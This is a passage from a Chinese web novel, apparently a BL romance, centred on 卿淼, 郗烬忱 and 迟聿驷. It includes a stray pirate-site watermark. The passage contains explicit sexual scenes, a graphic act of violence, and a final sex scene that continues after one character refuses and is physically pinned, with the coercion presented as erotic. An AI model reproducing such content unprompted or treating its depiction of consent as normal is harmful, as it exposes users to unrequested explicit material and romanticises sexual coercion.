它一路攀上去,把自己整个团都挤在衣服中间,圆滚滚的身体故意压出深陷的弧度,转身凶巴巴且警惕地盯着卿淼,防止这个让它第一眼就觉得有点喜欢的人还是个来和它抢口粮的可恶家伙。 原本就紧贴的黑色背心被团子这么一挤,布料便有些绷得厉害,它卡在中间不安分地扭动,环扣的轮廓与下方弧度就更为明显。 那里本就被弄得发肿,郗烬忱被拽得有些发痒,没忍住闷哼一声,伸手去揪它,灵活的胖团子一个翻身,却像只树袋熊一样把自己整个都挂在了其中一边,沉甸甸的份量全靠那一点坠着,在空中摇晃着摆来摆去。 卿淼微微战术后仰身体,观察郗烬忱怎样逗团子。他捏着半截巧克力棒,故意咬下一小块,将沾着碎屑的那端在团子面前晃了晃,可淡紫色的能量体却赌气似的背过身去。 “不是答应要乖一点?”郗烬忱用巧克力棒戳了戳它圆滚滚的身体,抬眼瞥见卿淼,用舌尖舔过唇瓣上沾着的碎屑,将剩下的巧克力棒递给他,跟哄小孩一样笑起来问:“亲爱的,要不要也来一口?” 话语刚落,团子就嗷呜一口隔着衣服咬住了环扣,疼得郗烬忱微喘几息,却无奈地轻啧了一声,把它捧在掌心,动作温柔得让卿淼以为自己产生了某种幻觉。 卿淼好像闻到一股更加浓郁的奶香,主动后移椅子妄图保持安全距离,没想到郗烬忱轻笑一声,反而优雅地塌腰过来,贴得更近了点:“你怎么离我这么远?” 他顿了下,又压低声音问道:“嗯……你不想摸摸吗?” 卿淼看起来一点欲望都没有,郗烬忱有点好奇。 他最喜欢探究这种问题,除非这个人有点扫兴。 就像刚刚在走廊里遇到的家伙。 那人眼神狂热,用目光黏腻地在他颈间的环扣项圈与平坦的小腹移动,一声招呼不打伸手就要来抓他,好像他被迟聿驷怎么样的事情所有人都知道了一样。 既然两个人公认不对付的话,那碰一下也没关系吧,能怀孕的男人可不多见——这样想着,那人操控着六阶精神系的能力妄图来修改他的认知。 “反正迟队也只是玩玩,那谁玩也一样不是吗?” 那人咧开嘴,能量在瞳孔里扭曲成漩涡,这样说着,就被郗烬忱连续三个响指暴力地嵌进墙面。 颅骨像是被打碎的西瓜,六阶异能者难以置信地察觉到自己好像和墙融为一体,恍惚间看到鲜血顺着墙缝流淌,下一秒,红底的皮靴已经踩到了他的脸上。 公认的七阶异能者只有迟聿驷一个,精神系又是所有异能里最为无形致命的一种。 “怎么…回事…,发生了…什么……” 他仿佛世界观被打碎般喃喃自语,瘫在墙体的凹坑里,模糊不甘地抬起头,看到最上方郗烬忱居高临下的身影。 鲨鱼牙男人的嘴角还噙着笑,那双自带笑意的紫罗兰色眸瞳眯了眯,弯下腰后,还有闲心勾起胸口的锁链说几句玩笑话。 “如果是平时的话,我还是很乐意和你玩一玩的……”鲨鱼齿闪过寒光,他轻笑道,“但今天有点难受,就先算了吧。” 第120章 呃, 摸一摸? 卿淼看着面前的画面有点发愣,心里对于郗烬忱能背着迟聿驷说出这句话竟然不觉得任何奇怪。 遇到的几次都一碰就要发晴,就这样还喜欢来找自己, 难道是迟聿驷那家伙没有满足他吗? 系统早已经被关进小黑屋,不能被汲取能量也不能够提供什么帮助,按理说这次被摸一下应该不会再出现之前那样的场景……? 但也不能不排除是郗烬忱本身就对这方面天赋异禀, 所有的反应都和道具与技能无关。毕竟他处事风格就像是能同时谈八个的那种浪荡顽劣,衣服镂空设计下的指印明晃晃地印在腰窝,快抵到脸上的两团也饱满得过分, 一看就没少被人把玩, 说不定在他之前已经在迟聿驷眼皮下找过别人。 更何况据卿淼所知,现在这人肚子里还揣着一个——就是小腹怎么这么平坦,看不出来有多少变化。 卿淼的视线缓缓下移, 听到跨坐在他大腿上的人轻笑着“嗯?”了一声,终于把淡紫色的团子哄了下来,小东西一溜烟钻进面前人的背心下摆,在他小腹找了个舒服的位置蜷缩成一团。 真是奇怪, 道具出来的都这样吗?明明已经……怎么还是这样? 郗烬忱的大腿紧贴着他的膝盖, 触感柔软而丰腴,带着体温的热度透过衣料传递过来。卿淼喉结微动, 突然想起高中时曾经听人说过,怀孕后的身体会更加敏感, 某些方面的需求也会更加可怕…… 想着想着心思就飘到不该飘到的地方,卿淼心有点凉了,按照国际惯例,他手敢放上去…刚一放上去,行踪跟鬼魅一样飘忽不定的迟聿驷就会适时到来给他一刀了。 可郗烬忱对于勾引人的这门技巧的确有些过于登峰造极。卿淼又觉得自己犯错亵渎有孕之身的有夫之男也是人之常情, 他刚刚往后退一步,郗烬忱就紧跟着往前再挪了一步,直到椅子背挨到冰凉的墙面,卿淼有点退无可退,面前这人就从桌角滑下来坐到了他的腿上。 卿淼保持着战术后仰的姿势,右手上去又下来,下来又上去,抽搐一样不知道该放到什么地方,显得有点尴尬而滑稽——正常情况下两个人这个姿势他应该把手放到对方腰上的,但是卿淼还是有点不太敢。 像是察觉到他的蠢蠢欲动,郗烬忱低笑起来,带着几分愉悦的尾音,哼起不成调的旋律,又向前倾了倾身。 “要摸摸看吗?” 他用指尖勾着背心下摆,缓缓将其向上拉起。 布料在浑圆的曲线停滞,卡在某个临界线上,刚好露出因被环扣紧紧扣住而阵阵发痛的存在。 如同雪地里熟透的蛇莓。 过紧的衣料在柔软上压出深深的泛红勒痕,有部分被挤压得于边缘微微溢出,形成一道诱人的分界线,无数暧昧的痕迹在冷白肌肤上伸展,像是朝霞在雪原上层层晕染,由浅粉渐变成糜艳的绯红。 淡紫色团子在腹部趴得正舒服,底下的同源生命体气息让它很喜欢待在这里,冷不丁暴露在空气中,它猛地竖起无数个小触手,蓝色的玻璃珠瞪得圆溜溜,朝看过去的卿淼龇牙咧嘴。 “怎么这么凶?”郗烬忱曲指点了点能量体Q弹的身体,团子收起尖牙,报复性地啃了啃他的手指。 堆叠的背心被动作牵动着略微向上移动了几分,郗烬忱拎起淡紫色的能量体,未被遮掩完全的地方存在感有些过于强烈。 都邀请到这个份上了……! 卿淼心一横,闭上眼睛,伸直胳膊直接覆了上去。 掌心的触感温热而绵软,像揉着一团刚蒸好的蓬松面包。 他试探性地捏了捏,柔软便从指缝间溢出,却不见对方有什么反应。 再揉一揉,指腹无意识地擦过环扣,稍稍勾起锁链,这才听到郗烬忱嘴里模糊的喘息。 卿淼选择性地睁开一只眼睛,郗烬忱垂着眼睫看他,被咬出齿印的下唇泛着水光,见他偷瞄,却是笑出声:“哈…我是想让你揉一揉团子。” 淡紫色团子闻言抬头张望了一会儿,“吱吱啾”叫了起来,卿淼猜它是在让自己快点放开手。 虽然此团子非彼团子,但是都是团子——天杀的他不会被迟聿驷明杀吧?! 郗烬忱还在似笑非笑地看他,卿淼自暴自弃地心想这应该都怪这个人勾引我吧,有事没事撩拨没有xxoo生活还恨他的小年轻干什么,这下好了被他捏住了吧,正常人露个腹部而已谁会把衣服拉得那么高,都是有夫之男了能不能不要往别人腿上蹭,肯定都怪郗烬忱这家伙……然后觉得触感实在太好,没忍住又揉了揉。 “迟聿驷他……” 卿淼保持着极其不正当的姿势,用另一只手戳了戳想要咬他的团子,抬头向门口偶然扫一眼,话语却戛然而止。 幸好郗烬忱背对着门,外面还穿了件皮衣……都快忘了他们要过来,卿淼心里咯噔一声,铁青着一张脸,开始双手并用往下扒郗烬忱的黑色背心。 “怎么,你是想说什么?” 郗烬忱顺着卿淼的视线侧过头,紫罗兰色的眼眸在光线中流转着异样的光彩,看到敞开大门外站着来举行每周团建的几个熟人。 他对着这几个人毫不见外地笑了下。 这一笑让推开门的陈二毛直接呆愣在原地,手中的游戏机“啪”地一声砸在地上。 钟鸣曜原本正不耐烦地推他,嘴里嘟囔着“站门口干什么”,抬起头,也一起僵在门口宛如绿色青蛙一样震惊得张大嘴巴。 “该叫队长吗?”他彳亍几步对陈二毛窃窃私语,声音比蚊子还小,“我们是不是该说一句‘打扰了’然后再退出去?” 钟鸣曜内心各种奇怪戏码正在接连不断地上演,一个是队长一个是好友,这种情况下还真不清楚该帮哪边。就在他越想越偏,即将用脑洞包围世界的时候,就在他马上就能在脑海中演绎出“你爱他,他爱他,他爱他”的复杂三角恋时,钟大睿智的沉思一下就被打断了。 陈三元说:“……” 陈三元没说话。 后方的梁修淮拍了拍他的肩,语气感叹道:“好多人啊。” 卿淼还在疯狂地扒郗烬忱的背心下摆。 他妄图把小辫鲨鱼牙的衣服整理好,虽然这个男人穿了跟没穿一样□□,盖与不盖都没多大区别,可俗话说得好越想干一件事就越是干不成,不断乱跳的大白兔跳得卿淼太阳穴直突突,就跟有自己的想法非要和他作对一样,大的怎么也套不到衣服里去。 这一幕看上去就像是他在众人面前还坚持不懈地要对郗烬忱继续不断上下其手左右揩油,呃虽然他也的确对他们队长的男人上下其手了,但这不能够怪他吧?! 偏偏腿上这个罪恶的男人悠悠然转回头,还有闲情雅致拆开一根新的巧克力棒,塞进嘴里垂眸问他:“亲爱的,你真的不吃?” 说的好像他们正在偷情一样,卿淼发誓自己不是在帮他测量cup,也不是在进行某种流氓一样的行为,更没有趁机一把捏着那团软白就往衣服里挤,不过这种场面和这个称呼——可能在场的人里只有他会相信郗烬忱嘴里“亲爱的”这三个字是含贬义并且没有任何那方面意思的。 跳到河里也解释不清,卿淼心如死灰,这人一点也不会羞耻的吗?! 被撞破这样衣冠不整地跨坐在另一个人腿上,和不是孩子父亲的另一个人,还在队朋好友的围观之中,明明对应的都是郗烬忱的名字,为什么觉得尴尬和无所适从的当事人只有卿淼一个。 郗烬忱看上去的确不会羞耻,脸上仍挂着那副游刃有余的笑意,可糟糕的身体却下意识背叛了他的从容。 卿淼明显感觉到腿面传来了一阵温热的潮意。 那双修长的腿在无意识地绞紧,单薄的裤料似乎也被浸出深色的水痕。 身体敏感到和他这个人的性格完全不符,卿淼虚虚护住他的后腰,手掌进退两难,没再敢去碰他。 “你,不是,”卿淼尝试数次才挤出声音,“我是说,能不能把衣服先拉下来?” 郗烬忱叼着巧克力棒没看他,唇间融化的可可脂被用舌尖卷走,他调整了一下姿势,随手扯了下背心,发现紧到拉不下来,反正穿上也不舒服,索性就不再去管。 “喂,郗烬忱,”卿淼终究没忍住问,“你在想什么?” “在想迟聿驷。” 郗烬忱秒速轻快地回答:“你要听这个吗?嗯……我有点想他了。” 卿淼视线朝门口和窗边都扫视了一遍,顿时坐直了身体,护在对方腰后的手反条件也抽回来。 郗烬忱盯了他半晌,淌着水反应也似乎变得迟钝,慢半拍地想起他刚刚的问题,再尝试了一下把背心拉了下来。 “勒得有点痛。” 郗烬忱咬断巧克力棒,有些难/耐地拧动身体,觉得被勒得哪哪都有点不舒服的胀痛,迟聿驷钉在上面的环扣就更折磨人了几分。 像是感应到什么一样,他偏过头站起身,坐在桌角上,朝着门口的几个人笑着露出尖锐的鲨鱼牙齿。 眼神略带疑惑,郗烬忱歪头问:“你们怎么还打小报告?”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 120-130 第121章 什么玩意的谁打小报告?! 看着瞬息间就和自己拉开距离的郗烬忱, 卿淼状似镇定地扶了好几下眼镜,觉得自己的内心已经强大到让别人无法想象。 他扶额几秒,打招呼问:“你们谁叫迟聿…迟队长了?” 陈二毛有被刚刚的鲨鱼歪头一击媚到, 还沉浸在‘偶像对我笑了,偶像是不是记住我了,偶像是不是要主动收我为徒教给我打游戏的终极奥义了’的美好幻想。 他游戏机都不捡了, 也要立刻摊开手表明态度:“总之我是肯定不会做这么幼稚的事的,我上小学一年级就不会打小报告了。” 钟鸣曜也紧跟着撇清关系,疯狂摇头说:“卿淼博士, 我能是那样的人吗?!我就算看到你们那个那个了我也只会为你守口如瓶的!当然如果看到的是队长的话我也同样不会告诉你, 不对我不是这个意思,就是队长也不可能让我看到啊队长那么强那么厉害的,也不能这么说, 卿淼博士,我不是在说队长比你强也比你和这位小辫男更配,我没有这个意思,我单纯是想说我肯定会支持你也支持队长……” 感觉话语越描越黑, 钟鸣曜简直越说越红温, 激动到恨不得自己是个思维透明可以共享的三体人。 一旁的陈二毛注意到卿淼的脸色看起来更加铁青了,抬手一把捂住了钟鸣曜的嘴, 然后两个人面面相觑,半秒后, 很同步地看向后方的梁修淮。 梁修淮说:“学弟,你是了解我的……”没了解完就被所有人无视了,前有牛头不对马嘴的钟鸣曜,没有人愿意听他再来一通全篇废话。 林锦楠侧靠着门框,喝着茶淡淡道:“我对你们之间复杂的□□关系没有任何兴趣, 也不想看到迟聿驷那家伙。” 视线转移,被所有人盯着的陈三元慢吞吞眨了下眼睛,拧着自己的胳膊迟疑开口:“……难不成,其实是我?” 怎么想也不可能是陈三元。 作为主角团里目前唯一一个被他成功攻略的人,卿淼太了解这个人,生活宗旨就是‘只要喜欢的人幸福那他怎样都好’,性格温吞也过于好脾气,丝毫没有十几岁的少年锐气。 “怎么不说是队长自己过来的?” 陈三元桀骜难驯的弟弟陈二毛根本没有get到现在众人尴尬的点,索性开口说,“队长有手有脚的,当然可以自己过来啊。” 钟鸣曜恍然大悟般开始接他的话,这两个话多的少年人又开始你一句我一句地讲起双口相声,卿淼的大脑自动熟练地屏蔽他们俩的言语,耳边嗡嗡作响的背景音渐渐化作无意义的白噪音,一点一点浸入他的思绪。 迟聿驷的身影根本不在视线范围内,也没听见什么刀风破空的声音,卿淼反复摸了摸自己的脑袋以确认它尚且还在脖子上方,没什么实感地蜷缩了两下先前覆盖住圆润的手掌。 刚刚郗烬忱没有表现出什么不耐烦的表情,也没采取什么想要制止的动作,就那样任由他的手指肆意妄为连捏带揉…… 指尖陷进去的弧度带着惊人的弹性,触感奇幻般的细腻绵软,连人也被滤镜加工得浮现出纵容,卿淼不由得突发奇想:他该不会还在做梦吧?! 郗烬忱说的那些话可能也只是自己幻听的梦话,卿淼一边颇有其事地思考一边拧了自己大腿一把——差点没疼得他叫出声,卿淼痛苦面具,绕场环视一周,发现一切都真实的要命。 好吧,那意思是迟聿驷真的来了,他还找不到对方在哪,生命有点岌岌可危。 毕竟实践证明,郗烬忱对迟聿驷每次出现的感知都准得可怕,他能这么说,那代表迟聿驷一定在周围,卿淼没有理由不相信他的话。 陈二毛还在门口站着,继续叽里咕噜地发问:“……偶像偶像,那你喜欢队长还是喜欢卿淼博士啊?” 好死亡的选项,为什么要把他带上,这嘴欠玩意蛐蛐是一点也不背着正主。卿淼想开口说这题他能帮郗烬忱回答,肯定绝对以及不接受反驳的无脑选A就是正确答案,但嘴巴刚一张开,后背便莫名其妙无端泛起一股刺骨的寒意。 明明紧靠着墙面,却感觉不到一点安全感,这哪怕在恐怖游戏里也是最为恐怖的预兆,卿淼秒速选择遵循规则,飞速闭上嘴巴让郗烬忱自己回答这个问题。 喜欢谁,这句话应该不难回答,但在陈二毛问出那句话后,会议室突然陷入了诡异的寂静。 半天没有听到郗烬忱的声音,这不太符合他的日常作风,往常这种时候,这个总是洋着笑意的男人早该用他那种不着调的语气回复或是带偏话题。 怎么回事,卿淼下意识侧目望去,一声“你……”还未吐出,就在对上那双氤氲着水雾的紫色眸瞳时哑了声音。 眸光随着袭来的晴雨微微失焦,郗烬忱正在有一下没一下地蹭着桌角。 他仿佛全然没有听到陈二毛的那句问话,只是像只发-的猫般无法克制地寻求慰藉,控制不住这种渴求的本能反应。 修身黑裤下丰满的腿肉随着动作不断挤压变形,又被桌沿压出惑人的凹陷。 郗烬忱半眯着眸子,就这样众目睽睽下的视线里隐秘地自己满足着自己,从被咬出尖锐齿痕的唇间泄出几道压抑的气音。 桌子或许能挡住门口那些人的视线,使得他们可能看不清楚他到底在做些什么,可面前的卿淼却是将一切都尽收眼底。 他鬼使神差地摸了摸自己腿面上未干的湿痕,指腹沾上有些奇特的触感,转而无事发生地跷起二郎腿,努力装作自己没有对这幅活色生香的画面产生反应。 以前怎么没有发现他这么,呃,脑海内字典不断翻页,卿淼找不到一个合适的词语形容。 毕竟郗烬忱外表看起来的确不像一个这么欠——,——的家伙。 但转念一想,勇敢的人先享受世界,这不是说他自己怂,迟聿驷作为第一个撬开蚌壳吃到蚌肉的男人,现在连珍珠都磨了出来,是人家的确有这个资本…… 天杀的,他到底在想些什么?! 卿淼默默捏着眼镜,总感觉郗烬忱下一秒就要当场开始勾引谁了。 面前这人看起来一副很需要帮助的样子,垂着眼睫,一只胳膊支撑着桌面,另一只手还在漫不经心地揉捏着自己背心下突显的环扣,如果不是被皮衣和桌子挡着,卿淼相信所有人都能立刻知道他浪荡的本质。 ——他的猜测似乎要被证实了。 郗烬忱眸光微转,方才还说着“迟聿驷来了”,眨眼间就和卿淼拉开距离,此刻却又折返,用指尖抵着他的膝头,似笑非笑地重新塌下腰逼近。 卿淼用手掌抵住他的胸膛:“我们要不,我是说,大庭广众下的,先保持一点距离?” “……怕什么?”郗烬忱问,顺手揉了揉在腹部趴着的团子。 怕什么,当然怕迟聿驷啊!不对怎么说的好像两个人真在偷情一样,但是抛开这点不提,被所有人围观也不太好吧,这就不叫偷情了吧?郗烬忱这家伙字典里真的没有羞耻心三个字吗?!卿淼差点都要说出‘那你跟我去隔壁房间’这句话了,妄图用眼神逼退门口的那几个等待回复的人。 “没关系…亲爱的,”郗烬忱嗓音低柔,又顺着卿淼几乎称不上是阻拦的力道坐回了他的腿上,挺了挺腰,轻声说,“我和他……没有什么实际性的关系。” 意思是和谁干什么迟聿驷也管不着吗?卿淼不为所动地按着他的胸口:“那你先回答一下那个问题?” 话一出口又感觉语气不是很正常,有些太生硬了,甚至带着一丝不易察觉的紧绷。 太逊了吧,他这是在干什么?卿淼感觉自己真的快要被郗烬忱勾引到了,不由得放空思维分析郗烬忱刚刚的那句话。 ——邀请的语气怎么听都很正常,但他总感觉那句话带着很明显的抱怨成分,像是故意要惹迟聿驷不愉快才说出来的一样,基本上可以幻视那些恋爱期间没有安全感才闹脾气的——卿淼眼皮抽了抽,感觉自己有点疯了,他是怎么把郗烬忱和那类人联系到一起的。 “嗯…对你很感兴趣?”郗烬忱轻笑,不同于卿淼还时不时在意一下门口那些人的存在,他直接把那些人完全无视了,好像房间里只有他和卿淼两个人一样,旁若无人地蹭了蹭他的大腿,“怎么,现在只有你在我面前,我难道还会去说其他人吗?” 卿淼被勾引到了,心道:他这是不是在内涵迟聿驷来了却不出现? 那话都这么说了,迟聿驷真不出现的话就不要怪他欺夺有夫之男了,其实卿淼也有一颗开放的心,郗烬忱真要在这里发生什么也不是不可以,在众人面前把这可恨的家伙按在桌子上这样那样想一想就有点刺激,横竖放弃任务也能强制脱离,不过就是死亡线上走一遭再倾家荡产变成乞丐从头来过,但总之他也没吃什么亏…… 不对,爽一把就变成乞丐还要去死,怎么想他都好亏啊! 卿淼没忍住捏了捏,稍微提高了点音量:“迟队长,迟聿驷,你再不出现,我就要摸其他地方了……?” 钟鸣曜转头问:“这是挑衅吗?” “这是挑衅吧。”陈二毛转头说。 两个人你看我我看你,异口同声地开始大眼瞪小眼,喝完茶连杯子也一块洗了的林锦楠从走廊走过来,对于这一幕皱眉问:“所以,你们要站这里看到什么时候?” “林小姐,”梁修淮温和笑道,“人类的本质就是八卦一下再八卦一下,既然里面没有关门,那意思就是看多久都是可以的。” 废话,他们在门口站着,里面离这么远怎么关门,陈三元有点想说话,还有点想爆粗口,但失恋的感觉太过痛苦,他沉默了几下,又继续沉默了沉默。 林锦楠对郗烬忱会被怎样没有任何兴趣,但和卿淼相处久了,为了二字神人的名誉着想,她一手一个扯着陈二毛和钟鸣曜的后领,把不情不愿的两个人直接拽了出来。 没理会钟鸣曜控诉的小眼神和陈二毛说明一切的属于少年人的脸红,她刚腾出手想要关门,“砰!” 的一声,一道蓝光闪过,门在他们面前被重重合上。 紧接着,卿淼被一股无形的力道丢了出来,在地上滚了半圈才勉强停住。 所有人齐刷刷地看向他。 在一片诡异的沉默中,卿淼佯装镇定地从地上站起身,掸了掸衣摆上并不存在的灰尘,再装模作样地扶了下眼镜,才煞有其事道:“事先说明,我反击了。” 陈二毛犹疑问:“被队长boss一击必杀的反击…?” 卿淼:“……” “不是我吹队长,”钟鸣曜正色脸,“卿淼博士,你也看到了,情况就是这么个情况,关上门一秒都不到吧你这就出来了,我是说所以没关系的我们还有下一个,你喜欢什么样的看看三元这小子也不是不……嗷!” 陈三元踹了他一脚,梁修淮拍拍卿淼的肩:“没关系,学弟,单身也没有什么不好的。 卿淼忍了又忍,虽然不知道刚刚情急之下开启系统丢出去的是个什么东西,但看两个人剑拔弩张的氛围应该是个负面道具,但至少—— “我真的反击了!”他面无表情地重复。 第122章 有一瞬间, 郗烬忱莫名有些不太想开口说话。 卿淼的身影瞬息间就从眼前消失不见,身下的支撑冷不丁被抽离,他整个人便随之跌落到冷硬的椅子上, 反应快速地稳住自己才没有摔到一旁。 不断淌水的地方在下坠后遭受重击,郗烬忱被激得脊背一颤,攥紧扶手, 还未等缓过神,一道阴影已经掩着光笼罩而下。 迟聿驷站在那里,皱着眉好一会儿, 半晌才从嘴里蹦出来四个字:“玩得开心?” 他周身的气压太低, 脸色也不太好看。像是感知到熟悉的预警,团子在衣服下不安地动来动去,郗烬忱下意识揉了揉它, 思考起自己一天的行为,没有立刻去回他的这句问话。 无法解释原因,关上门后,和迟聿驷对上目光的第一秒就有点不受控地要掉眼泪。眼眶无端发烫, 胸膛涌起难以表述的情绪, 像是被某种存在扭曲了性格和想法,内心对这段没有定义的关系突然产生极大的惶恐与不安, 让他下意识想要逃避迟聿驷望过来的视线。 这感觉太过奇怪。 郗烬忱向来不是这样的敏感性格,也不会对自己与他人任何形式的相处关系产生不满, 人总是需要点自由的,不管任何方面,他向来把自己放在其中最自由的那一位置之上。 就像面前的迟聿驷,他本该是个安全的例外,被异能夺走情感的男人状似冷漠, 十分淡然,并且对一切事物都波澜不惊。 可此刻却有点不对,郗烬忱敏感地捕捉到一丝异样。 那双冰蓝色眸瞳深处似有暗潮翻涌,呼吸也比平时重了半分,看起来某种复杂的情绪将他裹挟,却又被硬生生压制下去。 他好像是在愤怒。 迟聿驷掀起眼皮:“我现在在你面前。” 观察着郗烬忱的表情,过了一会,他又气沉丹田,言简意赅地补充道:“只有我。” ——你喜欢队长还是喜欢卿淼博士? ——现在只有你在我面前,我难道还会去说其他人吗? 那现在只有我站在你面前,你喜欢谁? 郗烬忱瞳孔微微收缩,无辜为这个不切实际的猜想而感到不安,迟聿驷会问这个问题吗? 未及细想,面前的黑发男人便已然失去等待的耐心,抬起骨节分明的手,径直向他脸侧散落的发辫抓去。 但怎么可能呢。 迟聿驷竟然在吃醋? 一向肆意的人开始害怕,而冷漠的人燃烧着无声的怒意,这世界在关上门后仿佛突然颠倒,他想起卿淼身上种种难以解释的特殊手段,一时间竟然忘记躲开。 “为什么不回答?”迟聿驷继续问。 他的语气夹带着冰和冷,像是在质问,不过是以什么立场。郗烬忱莫名有些想笑:“迟聿驷……你是在问我吗?” “我说,如果——” “如果我说是你的话,那你的回答呢?” “我?” 迟聿驷想说什么,那千头万绪却连不成句子的感觉猛然袭来,他的确从来没说过自己的想法。 他想寻常去爱却做不到,他想松开手也做不到,像是一个手里捏着打火机面对一仓库易燃易爆品的人,唯一可能只剩把手上的火源甩出去,他想这不能称之为爱。 可是他不擅长这个,也根本不会,他唯一会做的就是点燃引线,然后站在那里看一切都焚尽成灰。 从第一次将刀架在对方脖子上开始,他就要把这个人毁了,他试图自控,索性又放弃了,对方情愿之不情愿,但真是有言必应。 迟聿驷索性收紧指节,猛地将人拽着发辫拉近,辫尾的粉丝皮筋在动作间崩断,逼得郗烬忱被迫顺着他的力道仰头。 他的脖子上还戴着环扣项圈,看起来像是被谁标记的所有物,单纯坐在那里就透着下流,比墙角海报上的性感尤物还要勾人。 不知道是否是因为卿淼离开前做了什么手脚的原因,没听到迟聿驷的回答,又被情绪影响,郗烬忱声音比平时要低上不少,抵住对方往背心下探的手臂推拒:“…我不太想做。” “那你要和谁?”迟聿驷扫过他的坐姿,眸色沉得骇人,冷嗤道,“卿淼吗?” “……谁都可以吧。”郗烬忱轻笑一声,把自己辫子从他手心拽出来,又非常刻意地补充了一句,“只要不是你。” 在这种诡异的状态下,郗烬忱无端心想,只要迟聿驷这时候随便说点他愿意听的话,他都会心甘情愿地把自己全部交出去,想在哪里都可以,在队员面前也无所谓,反正他一向也不在乎这个。 但显然他们两一个在生气一个在赌气,思绪和脑回路根本不在一个频道。 情绪在先前由共命异能吞噬,这段时间随着郗烬忱腹中新生命的孕育,失去的情感渐渐已经被在日常接触中返还。 没想到彻底打开情绪阈值后只有怒气值在不断积攒,迟聿驷被这句话气到冷笑。 他感觉自己头上的颜色像是道光,抬手一把扣住郗烬忱的后颈,将人揽起身狠狠按向桌面。 “郗烬忱,是我满足不了你,还是你天生就这样欠*?” 左手揉捏着怀中人劲瘦的腰窝,右手向下探去,搁放在他饱满的身体之上。 那里隐约能感觉到隔着两层布料都犹自透出的,潮热而湿润的触感。 郗烬忱的身体随他的称呼猛地一抖,随后又因动作更加无力地软化下来。 他眼前发蒙,身体燥热,大脑也昏昏沉沉的,像有一把火在身体中烧起来,迅速蔓延到了全身。 胸膛随之痛痒起来,泥泞又开始淌水了。 迟聿驷垂下眼眸看他。冷漠和现在状态下的他毫无干系,满脑子只想把身下还在微弱阻拦自己的人弄到崩溃,让他哭着喊自己的名字——他此刻整个人都很不爽。 从刚刚关上门与郗烬忱面对面开始,他就一股气不上不下地憋到了现在,只在中途听到郗烬忱说喜欢他以后曾有过短暂的好转。 而在刚才,迟聿驷发现这家伙原来根本没有意识到陪他度过之前和往后所有难-耐与晴潮的只能是自己、并在回忆起郗烬忱竟然还当众和卿淼亲密接触的时候,几乎愤怒得失去了控制。 身下人还在徒劳地挣扎,迟聿驷几乎是用撕的,将人压在会议室的桌上,把他被揉得皱成一团的黑背心撕扯着推到脖颈。 银紫色的头发已经完全散乱,粉色的发圈摇摇欲坠地挂在发尾,身体因发热烫得灼手,郗烬忱眼里浮着一层雾,脸颊也通红,嘴里喘得像是下一秒就要哭着求人将自己毫不客气地对待。 团子趴在腹部快速眨动着蓝色的玻璃眼珠,在迟聿驷即将拎起它前一溜烟跑到一旁。 郗烬忱的手指抖得几乎使不上力气,却还固执地尝试着扭动身体、转动手臂,想要把像钢钳般紧攥着他手腕压在头顶的有力手掌给挣脱开来。 他猛地抬腿踹向对方腹部,却被迟聿驷早有预料般一把扣住膝弯。黑发男人就着这个姿势向前一压,将他的四肢彻底压制,掌心顺势缓缓摩挲而上。 那地方早已一塌糊涂,水色在灯光下——,迟聿驷俯下身,将指腹碾过郗烬忱的唇瓣,自顾自冷笑了声:“明明很欢迎我。” 郗烬忱像条桌面上任人宰割的鱼,被刨开衣鳞玩弄唇嘴。他将眉头凝在一起表示不满,可惜现下被弄得眼角带泪,躺在桌面只能起到反向作用。 迟聿驷又扳过他的脸,吻从眼睫开始,细细挨过鼻梁,最后停在颤抖的唇上,呼吸交缠间,咬着他的耳垂低语,让他好好看着他是怎么*-的,不要再想别的男人。 郗烬忱还在受那股情绪影响,失焦的瞳孔里映出对方冷冽的眉眼,被搅碎的理智勉强拼凑出一句:“我们…算…什么关系” “关系就是——你是我的。” “我…哈……当然知道…”郗烬忱在颠簸中笑,“问题是…你呢……?” 硬骨早已经被迟聿驷早无数次的暴行中折软,不知从何而来的微弱抗拒也飞速被快意覆盖,郗烬忱很快沉溺在他的节奏之下,就算没等到迟聿驷的回答便已主动起来。 像是认主一般,当迟聿驷掐住腿侧时,身体早已先于意识做出反应。 郗烬忱喘息着,手臂不知何时缠上对方的肩膀,将自己毫无保留地展露开来。 那条灵活的舌咬住目的地反复舔舐,郗烬忱喉间溢出细碎的呜咽,腰肢不自觉地拱起,不知足地又将自己往那里再贴近了点。 迟聿驷却停下来,缓慢地抬起冰蓝色的眸瞳,看着他失焦的瞳孔和泛着水光的唇,不知道想到什么,直起身贴到他耳畔低语了一句。 话音未落,怀里人的身体便猛地剧烈颤抖起来,抓着他的肩膀往他怀里贴去,手指在衣料表面抓出几道折痕,又失神脱力地瘫软在桌面。 他看起来很不好受,眸瞳泛着涟漪水光,眼尾红的像是涂抹胭色,嘴唇微张着,能看到殷红的舌尖在鲨鱼齿里若隐若现,全身到处都痉挛得不像话,被欺负得过于可怜兮兮,只会迷蒙地眨着眼睛看人—— ,又随即晕开深色的痕迹。 迟聿驷随手捏住这人最脆弱的地方,垂眸凝视他黏在一起的睫毛。 他甚至没来得及说完最后一个字,郗烬忱就毫无预兆地直接吹了。 涣散地看着眼前的人,银紫色头发的男人急喘地呼吸着,觉得自己好似融成迟聿驷掌心里一捧温顺的雪。 他的喉咙有些哽咽,却又觉得这样的感觉让人难以言说,好像一百颗心脏埋在眼眶里同时震动,最后像蝙蝠一样挥着翅膀仓皇逃离。 如果他在心里流泪的话,就像现在这样、像以往亲密接触时的无数次那样流泪的话,最后都会汇聚到那最难言的一点,顺着对方冰凉而修长的手指慢慢流淌,成为一滩潮湿而绵密的水流。 他勾起唇,唇瓣动了动,笑意碎成无意义的甜腻气喘,却在下一秒天旋地转,被迟聿驷掐着腰翻了个身。 后颈随即传来尖锐的刺痛,迟聿驷紧跟着压了上来,揽着郗烬忱的腰让他自己撑着自己,嗓音低沉道:“不要多想。” 郗烬忱的手臂早已脱力。 窄瘦的腰肢胡乱在会议桌旁来回滑动,肋骨被硌得生疼,他只能强撑着支撑住自己,口中断断续续溢出难以遏制的气喘。 破碎的音节混着杂音在会议室回荡,郗烬忱身体发软,随着时间推移几乎要倒在桌面,喘息也被无意识地咬在唇齿。 他意识涣散,有些受不住地想要逃离,迟聿驷却没给他丝毫喘息的机会。 腰身被单手扣住,郗烬忱的脊背不得不紧贴住他的胸膛,心脏也与柔软一同在胸膛疯狂地跳动。 前一天的齿痕还没有消退,郗烬忱在迟聿驷毫不怜惜的冷酷做派下被迫又添上新痕。 后者的做法不及此前的暴虐,却远比之前的所有还要令他难以承受,当额头终于抵上冰冷的桌面时,几声支离的哭腔终于不受控地被逼出来。 